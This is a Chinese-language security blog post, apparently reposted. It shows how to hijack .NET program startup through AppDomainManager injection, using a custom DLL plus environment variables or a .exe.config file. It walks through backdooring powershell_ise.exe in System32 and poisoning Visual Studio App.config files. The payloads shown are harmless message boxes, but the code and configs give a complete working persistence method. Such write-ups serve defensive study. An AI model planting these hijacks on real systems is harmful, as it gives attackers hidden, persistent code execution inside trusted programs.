Use AppDomainManager to maintain persistence

发布于 2024-12-05 23:06:50 字数 7406 浏览 7 评论 0

0x00 前言

从 Casey Smith@subTee 学到的一个技巧:针对.Net 程序,通过修改 AppDomainManager 能够劫持.Net 程序的启动过程。 如果劫持了系统常见.Net 程序如 powershell.exe 的启动过程,向其添加 payload,就能实现一种被动的后门触发机制。

学习链接:http://subt0x10.blogspot.com/2017/06/attacking-clr-appdomainmanager-injection.html

0x01 简介

本文将要介绍以下内容:

  • 劫持自己开发的.Net 程序
  • 劫持系统.Net 程序 powershell_ise.exe
  • 一种针对 Visual Studio 的利用思路

0x02 相关概念

CLR:

全称 Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。

CLR 是.NET Framework 的主要执行引擎,作用之一是监视程序的运行:

  • 在 CLR 监视之下运行的程序属于“托管的”(managed)代码
  • 不在 CLR 之下、直接在裸机上运行的应用或者组件属于“非托管的”(unmanaged)的代码

对于在 CLR 监视之下的程序,程序启动的初始化过程可参考如下链接:http://mattwarren.org/2017/02/07/The-68-things-the-CLR-does-before-executing-a-single-line-of-your-code/

值得注意的地方:

如果能从程序启动的初始化过程中找到一个可供利用的位置,在程序启动之前加载我们自己的代码,那么就可以“滥用”CLR 的功能,实现对程序的劫持

更理想的情况下:

如果可被劫持的程序是一个系统常用程序,随开机自启动,那么,这个方法就能作为一个持续性后门

下面介绍 Casey Smith@subTee 分享的后门思路: AppDomainManager

0x03 劫持自己开发的.Net 程序

注:代码引用自: http://subt0x10.blogspot.com/2017/06/attacking-clr-appdomainmanager-injection.html

1、编写示例程序

使用 Visual Studio,选择 c#开发环境,新建控制台应用程序,工程名:program,代码如下:

using System;

public class Program
{
    public static void Main()
    {
        Console.WriteLine("Inside the App");
    }
}

编译生成 program.exe

程序运行如下图

Alt text

2、编写 payload Dll

选择 c#开发环境,新建类库,工程名:DomainManager,代码如下:

using System;

namespace DomainManager
{
    public class InjectedDomainManager : AppDomainManager
    {
        public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
        {
            base.InitializeNewDomain(appDomainInfo);
            Console.WriteLine("Blah From AppMgr");
        }
    }
}

编译生成 DomainManager.dll

3、设置 AppDomainManager 劫持程序启动

将 DomainManager.dll 放于同级目录

方法 1:

cmd 设置环境变量:

set APPDOMAIN_MANAGER_ASM=DomainManager, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null

set APPDOMAIN_MANAGER_TYPE=DomainManager.InjectedDomainManager

执行 program.exe,通过查看回显,发现 DomainManager.dll 先于 program.exe 执行

成功实现劫持,完整操作如下图

Alt text

注:

注意比较执行顺序

通过 cmd 设置环境变量的方法只会作用于当前 cmd,不够通用

方法 2:

更加通用的方法:配置 config 文件

新建 program.exe.config,内容如下:

<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <startup>
    <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0"/>
  </startup>
    <runtime>
      <appDomainManagerType value="DomainManager.InjectedDomainManager" />
      <appDomainManagerAssembly
         value="DomainManager, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" />
    </runtime>
</configuration>

注:

config 文件命名格式:exe+.config

成功实现劫持,完整操作如下图

Alt text

0x04 劫持系统.Net 程序 powershell_ise.exe

接下来,需要找到可供利用的系统.Net 程序,尝试实现持久性后门

这里选取 powershell_ise.exe 作为演示

注:powershell_ise.exe:全称 Windows PowerShell Integrated Scripting Environment(集成脚本环境)

图形界面,主要用于编写和调试 powershell 脚本

操作界面如下图

Alt text

为了便于演示,我们需要修改工程 DomainManager,使其在运行时弹框

1、添加引用

工程-右键-添加引用,选择 System.Windows.Forms

如下图

Alt text

代码修改如下:

using System;
using System.Windows.Forms; 
namespace DomainManager
{
    public class InjectedDomainManager : AppDomainManager
    {
        public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
        {
            base.InitializeNewDomain(appDomainInfo);
            Console.WriteLine("Blah From AppMgr");
            MessageBox.Show("1");
        }
    }
}

重新编译生成 DomainManager.dll

2、测试

劫持 program.exe 成功,如下图

Alt text

劫持 powershell_ise.exe:

(1) 测试 test 目录

将 powershell_ise.exe 复制到 c:\test

在同级目录新建 powershell_ise.exe.config,config 文件可作适当精简,精简后的内容如下:

<?xml version="1.0"?>
<configuration>
  <startup>
    <supportedRuntime version="v4.0" />
  </startup>
    <runtime>
      <appDomainManagerType value="DomainManager.InjectedDomainManager" />
      <appDomainManagerAssembly value="DomainManager" />
    </runtime>
</configuration>

c:\test 目录下启动 powershell_ise.exe

成功劫持 powershell_ise.exe

(2)测试 powershell_ise.exe 默认目录

路径如下:C:\Windows\System32\WindowsPowerShell\v1.0

需要管理员权限,在默认目录创建劫持文件 DomainManager.dll 和 powershell_ise.exe.config

编译任意 powershell 脚本,默认启动 powershell_ise.exe,成功劫持

完整操作如下图

Alt text

0x05 一种针对 Visual Studio 的利用思路

对于 Visual Studio 的 c#工程,在工程目录下默认存在文件 App.config,内容如下:

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
    <startup> 
        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
    </startup>
</configuration>

如果对其修改,添加劫持功能,那么在编译程序时,也会同步修改 bin 目录下默认生成的 config 文件

App.config 修改如下:

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
    <startup> 
        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
    </startup>
    <runtime>
      <appDomainManagerType value="DomainManager.InjectedDomainManager" />
      <appDomainManagerAssembly value="DomainManager" />
    </runtime>
</configuration>

编译程序,bin 目录下的 config 文件也被修改,如下图

Alt text

如果在 bin 目录也放置 DomainManager.dll,那么在程序启动时会被劫持,如下图

Alt text

0x06 小结

本文介绍了一种通过修改 AppDomainManager 实现的被动后门触发机制,分析了利用思路,站在防御者的角度,只需要留意.Net 程序同级目录下的 config 文件就好。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

文章
评论
27 人气
更多

推荐作者

闻呓

文章 0 评论 0

深府石板幽径

文章 0 评论 0

mabiao

文章 0 评论 0

枕花眠

文章 0 评论 0

qq_CrTt6n

文章 0 评论 0

红颜悴

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文